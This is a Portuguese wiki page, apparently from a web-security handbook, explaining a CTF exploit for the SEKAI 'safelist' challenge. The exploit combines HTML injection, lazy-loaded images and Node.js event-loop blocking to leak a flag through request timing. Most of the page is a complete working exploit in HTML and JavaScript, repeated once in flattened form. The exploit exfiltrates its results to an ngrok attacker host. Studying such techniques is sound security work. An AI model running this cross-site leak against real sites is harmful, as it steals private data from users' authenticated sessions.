Event Loop Blocking + Lazy images

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Em este exploit, @aszx87410 mistura a técnica de lazy image side channel através de uma injeção de HTML com uma espécie de técnica de event loop blocking para vazar caracteres.

Este é um exploit diferente para o desafio CTF que já foi comentado na página seguinte. dê uma olhada para mais informações sobre o desafio:

Connection Pool Examples

A ideia por trás deste exploit é:

As postagens são carregadas alfabeticamente
Um atacante pode injetar uma postagem começando com "A", então alguma tag HTML (como um grande <canvas) preencherá a maior parte da tela e algumas tags <img lazy finais para carregar coisas.
Se em vez de um "A" o atacante injetar a mesma postagem, mas começando com um "z". A postagem com a flag aparecerá primeiro, então a postagem injetada aparecerá com o inicial "z" e o grande canvas. Como a postagem com a flag apareceu primeiro, o primeiro canvas ocupará toda a tela e as tags <img lazy finais injetadas não serão vistas na tela, então não serão carregadas.
Então, enquanto o bot está acessando a página, o atacante enviará requisições fetch.
Se as imagens injetadas na postagem estão sendo carregadas, essas requisições fetch levarão mais tempo, então o atacante sabe que a postagem está antes da flag (alfabeticamente).
Se as requisições fetch são rápidas, isso significa que a postagem está alfabeticamente depois da flag.

Vamos verificar o código:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>

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Previousperformance.now + Force heavy task NextJavaScript Execution XS Leak

Last updated 4 months ago

<!DOCTYPE html> <html>  <body> <button onclick="run()">start</button>  <form id=f action="http://localhost:1234/create" method="POST" target="_blank"> <input id=inp name="text" value=""> </form>  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank"> <input id=inp2 name="index" value=""> </form> <script> let flag = 'SEKAI{' const TARGET = 'https://safelist.ctf.sekai.team' f.action = TARGET + '/create' f2.action = TARGET + '/remove' const sleep = ms => new Promise(r => setTimeout(r, ms)) // Function to leak info to attacker const send = data => fetch('http://server.ngrok.io?d='+data) const charset = 'abcdefghijklmnopqrstuvwxyz'.split('') // start exploit let count = 0 setTimeout(async () => { let L = 0 let R = charset.length - 1 // I have omited code here as apparently it wasn't necesary // fallback to linerar since I am not familiar with binary search lol for(let i=R; i>=L; i--) { let c = charset[i] send('try_' + flag + c) const found = await testChar(flag + c) if (found) { send('found: '+ flag+c) flag += c break } } }, 0) async function testChar(str) { return new Promise(resolve => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ // <canvas height="3350px"> is experimental and allow to show the injected // images when the post injected is the first one but to hide them when // the injected post is after the post with the flag inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('') f.submit() setTimeout(() => { run(str, resolve) }, 500) }) } async function run(str, resolve) { // Open posts page 5 times for(let i=1; i<=5;i++) { window.open(TARGET) } let t = 0 const round = 30 //Lets time 30 requests setTimeout(async () => { // Send 30 requests and time each for(let i=0; i<round; i++) { let s = performance.now() await fetch(TARGET + '/?test', { mode: 'no-cors' }).catch(err=>1) let end = performance.now() t += end - s console.log(end - s) } const avg = t/round // Send info about how much time it took send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = (t >= 1000) if (isFound) { inp2.value = "0" } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 200) } </script> </body> </html>